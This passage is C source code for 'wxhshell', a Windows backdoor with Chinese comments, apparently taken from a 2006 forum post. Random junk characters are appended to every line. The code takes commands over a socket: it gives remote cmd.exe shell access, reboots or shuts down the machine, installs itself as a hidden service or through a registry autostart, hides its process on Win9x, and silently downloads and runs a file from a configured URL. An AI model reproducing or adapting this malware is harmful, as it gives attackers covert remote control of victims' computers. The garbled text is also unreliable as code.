  else { ^ }7O|Y7  
A8m06  
    switch(cmd[0]) { UY(T>4H+h  
  @"7S$@cO  
  // 帮助 $XF$ n#ua  
  case '?': { PT~htG<Fw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2o SM|  
    break; /7UvV60  
  } h5P_kZJ  
  // 安装 G=:/v  
  case 'i': { !l%:   
    if(Install()) sT)>Vdwf_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tc^ 0W=h  
    else }Fjbj5w0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0>{ ]*  
    break; %B$ftsYXmu  
    } RIMSXue*Ha  
  // 卸载 yx]9rD1cz  
  case 'r': { P{o)Ir8Tt  
    if(Uninstall()) uBlPwb,V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  (Q8!5s  
    else jYp!?%!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jq/itsg  
    break; {+67<&g  
    } g{'f%bkG  
  // 显示 wxhshell 所在路径  L8`v  
  case 'p': {  >. K  
    char svExeFile[MAX_PATH]; flmQNrC.8  
    strcpy(svExeFile,"\n\r"); \FsA-W\X  
      strcat(svExeFile,ExeFile); JN wI{  
        send(wsh,svExeFile,strlen(svExeFile),0); kvwnqaX  
    break; ^%7(  
    } \Bo$ 3  
  // 重启 wK(]E%\  
  case 'b': { JWb +  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &E&~9"^hQL  
    if(Boot(REBOOT)) Pe@# 6N`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y9^l|,bm5  
    else { kE:[6reG  
    closesocket(wsh); a}y b~:TC  
    ExitThread(0); e0P[,e*0  
    } q/b+V)V  
    break; IhNX~Jg'^  
    } K%J?'-  
  // 关机 -.h)CM@L  
  case 'd': {  vD#U+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (=!At)O  
    if(Boot(SHUTDOWN)) leC!Yj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R/~!km  
    else { t.( `$  
    closesocket(wsh); vfkF@^D  
    ExitThread(0); 2d .$V,U<  
    } *Ypn@YpSp  
    break;  t;o\"H  
    } F'K >@y  
  // 获取shell cr!8Tp;2A  
  case 's': { 7p1Y g  
    CmdShell(wsh); u}%OC43  
    closesocket(wsh); aGbG@c8PRi  
    ExitThread(0); ,8 4|qI  
    break; n[jXqFm!`  
  } "u6pl);G  
  // 退出 e4z~   
  case 'x': { D>5)',D8xi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $'V^_|EL7  
    CloseIt(wsh); _pTcSp 3  
    break; <odi>!ViH  
    } .)tv'V/  
  // 离开 0f@+o}i=)  
  case 'q': { uY5|Nmiu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JK! (\Ae.  
    closesocket(wsh); !)]/?&uo  
    WSACleanup(); n#P>E( K  
    exit(1); % G= cKM  
    break; a/V,iCiH  
        } hi"C<b.  
  } Jinh#iar  
  } !{-W%=Kf  
j#//U2VdN  
  // 提示信息 A]bQUWt2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zQ=b|p]|W  
} C'I&<  
  } sx#O3*'>1  
76w[X=Fv  
  return; TDo)8+.2 z  
} ) h]+cGM  
7z;2J;u`n  
// shell模块句柄 k{+cFG\C&  
int CmdShell(SOCKET sock) q9vND[BQ  
{ ClKWf\(ii6  
STARTUPINFO si; Z|_V ;*  
ZeroMemory(&si,sizeof(si)); #f#6u2nF\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 `_/h' ~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +^BTh rB  
PROCESS_INFORMATION ProcessInfo; 1J!v;Y\\  
char cmdline[]="cmd"; p(RF   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B!+c74  
  return 0; 9Kd=GL_  
} y[i}iT/~  
c[-N A  
// 自身启动模式 D/E5&6  
int StartFromService(void) AOg'4  
{ &| (K#|^@  
typedef struct p6j-8ggL  
{ ;T^s&/>E  
  DWORD ExitStatus; #m U\8M,  
  DWORD PebBaseAddress; b:S$oE  
  DWORD AffinityMask; |5vJ:'`I  
  DWORD BasePriority; hrKeOwKHU  
  ULONG UniqueProcessId; 8]#FvgX  
  ULONG InheritedFromUniqueProcessId; ('7?"npd  
}   PROCESS_BASIC_INFORMATION; "bej#'M#  
+<\LY(o  
PROCNTQSIP NtQueryInformationProcess; 8[@,i|kgg0  
P*"c!Dn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 11l=zv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ->I.D?p  
51ViJdZ  
  HANDLE             hProcess; vGi<" Sn7  
  PROCESS_BASIC_INFORMATION pbi; ;!HQ!#B  
G `|7NL   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YIk@{V  
  if(NULL == hInst ) return 0; #K^hKx9  
3f5YPf2u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .f$2-5q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XuP%/\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "w"a0nv  
=Z.0-C>W  
  if (!NtQueryInformationProcess) return 0; 5 SQ!^1R 9  
&W>\Vl1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f hK<P_}  
  if(!hProcess) return 0; ;SXkPs3q  
+^9^)Ur|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :?f+*  
)Cdw_Yx  
  CloseHandle(hProcess); L!JC)p.  
Pjh;;k|V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BZ\="N#f  
if(hProcess==NULL) return 0; Ihf>FMl:  
]ttF''lH  
HMODULE hMod; vL_yM  
char procName[255]; ! #Pn_e  
unsigned long cbNeeded; %scw]oF  
B6F!"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 551_;,t  
2}<tzDI'  
  CloseHandle(hProcess); 2Ug_3ZuU  
fOMaTnm'  
if(strstr(procName,"services")) return 1; // 以服务启动 h_ t`)]-  
3fLdceT  
  return 0; // 注册表启动 `n6cpX5  
} Y9mhDznS  
Gw) y<h  
// 主模块 PZ/ tkw  
int StartWxhshell(LPSTR lpCmdLine) H^Pq[3NQ  
{ JX'}+.\  
  SOCKET wsl; i3 XtrP""  
BOOL val=TRUE; | K|AUI  
  int port=0; Jm , :6T  
  struct sockaddr_in door; OR&pGoW  
4j;IyQDvM  
  if(wscfg.ws_autoins) Install(); qdQ4%,E[  
'R1C-U3w,  
port=atoi(lpCmdLine); kt Z~r. +  
{#+K+!SvDX  
if(port<=0) port=wscfg.ws_port; C+\z$/q  
MY{Kq;FvRP  
  WSADATA data; "`K_5"F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JRBz/ j  
+ _ehzo97  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hg12NzbK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DzhLb8k  
  door.sin_family = AF_INET; * 0K]/tn<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9V)cf  
  door.sin_port = htons(port); )*%uG{h  
%o9mG<.T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |j"C52Q  
closesocket(wsl); $Ud9v4  
return 1; "u^2!d  
} 8]&Fu3M^  
>CG;df<~  
  if(listen(wsl,2) == INVALID_SOCKET) { >#dLT~[\a  
closesocket(wsl); 3^Is4H_8  
return 1; tY#&_%W  
} u9:sj  
  Wxhshell(wsl); oG22;  
  WSACleanup(); \>su97  
,ng/T**@G  
return 0; PU ea`rE?R  
]l }v  
} \Uh/(q7  
0F uj-q  
// 以NT服务方式启动 dw#pObH|`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HziQ%QR  
{ B_#M)d O  
DWORD   status = 0; E>@]"O)=M,  
  DWORD   specificError = 0xfffffff; Wv5=$y  
KdiJ'K.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E5gt_,j>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "/O07l1Q<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {uwPP2YD,  
  serviceStatus.dwWin32ExitCode     = 0; gT[]"ZT7  
  serviceStatus.dwServiceSpecificExitCode = 0; 6jMc|he  
  serviceStatus.dwCheckPoint       = 0; gRs @T<k2  
  serviceStatus.dwWaitHint       = 0; %>nAPO+e  
F6{ O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _0[s]  
  if (hServiceStatusHandle==0) return; %eF=;q  
k FRVW+  
status = GetLastError(); ci%$So 2#  
  if (status!=NO_ERROR) WjVm{7?{  
{ [ )X(Qtk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z>`frL  
    serviceStatus.dwCheckPoint       = 0; X$%[%q8qg  
    serviceStatus.dwWaitHint       = 0; Hj-n 'XZ  
    serviceStatus.dwWin32ExitCode     = status; y[f%0*\B  
    serviceStatus.dwServiceSpecificExitCode = specificError; l [ m_<1L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m k~F@  
    return; Qt"jU+Zoy  
  } WO69Wo\C  
M$v\7vBgO!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ai%Wt-  
  serviceStatus.dwCheckPoint       = 0; ! .Pbbs%  
  serviceStatus.dwWaitHint       = 0; H5vg s2R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1.2qh"#  
} sNG 7fi.|  
O?#<kmd/)  
// 处理NT服务事件,比如:启动、停止 =585TR; V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9u^za!pE  
{ U2Siw   
switch(fdwControl) ZdhA:}~^E  
{ QeQwmI  
case SERVICE_CONTROL_STOP: uf )!SxT  
  serviceStatus.dwWin32ExitCode = 0; Ayw {I#"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +IGSOWL  
  serviceStatus.dwCheckPoint   = 0; &mJm'Ks  
  serviceStatus.dwWaitHint     = 0;  1A]   
  { c[6<UkH7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zz|et206  
  } }!kvoV)]1  
  return; nFwg pT  
case SERVICE_CONTROL_PAUSE: 6[Mu3.T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kr<a6BEv5  
  break; t:'^pYN:g  
case SERVICE_CONTROL_CONTINUE: 'eQ*?a43  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;x)f;!e+  
  break; tTq2 AR|  
case SERVICE_CONTROL_INTERROGATE: +s+E!=s  
  break; Ta8lc %0w3  
}; % Q93n {?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F6{Q1DqI  
} 93)1  
VyIM ,glu  
// 标准应用程序主函数 :2t?0YR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :y~l?0b&8  
{ nqY arHi  
jTsQsHq   
// 获取操作系统版本 Urm(A9|N  
OsIsNt=GetOsVer(); RLVz"=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KjV1->r#  
+nFC&~q  
  // 从命令行安装 of_Om$  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5'rP-z~ u  
P1qnU  
  // 下载执行文件 p1s& y0:d  
if(wscfg.ws_downexe) { P#KT lH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mnYzn[d3U  
  WinExec(wscfg.ws_filenam,SW_HIDE); c=B!\J<1  
} }1Hy[4B(k\  
Nk\/lK\  
if(!OsIsNt) { I~M@v59C  
// 如果时win9x,隐藏进程并且设置为注册表启动 F{17K$y  
HideProc(); AbMf8$$3SH  
StartWxhshell(lpCmdLine); k _Bz@^J  
} D<4cpH  
else cS|W&IH1  
  if(StartFromService()) %&$s0=+  
  // 以服务方式启动 p^QppM94  
  StartServiceCtrlDispatcher(DispatchTable); :N=S nyz  
else I!p[:.t7  
  // 普通方式启动 U7xQ 5lph  
  StartWxhshell(lpCmdLine); 3r2e_?m  
F`f8q\Fc  
return 0; rV/! VJ6x  
}
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只看该作者 1 发表于: 2006-10-10
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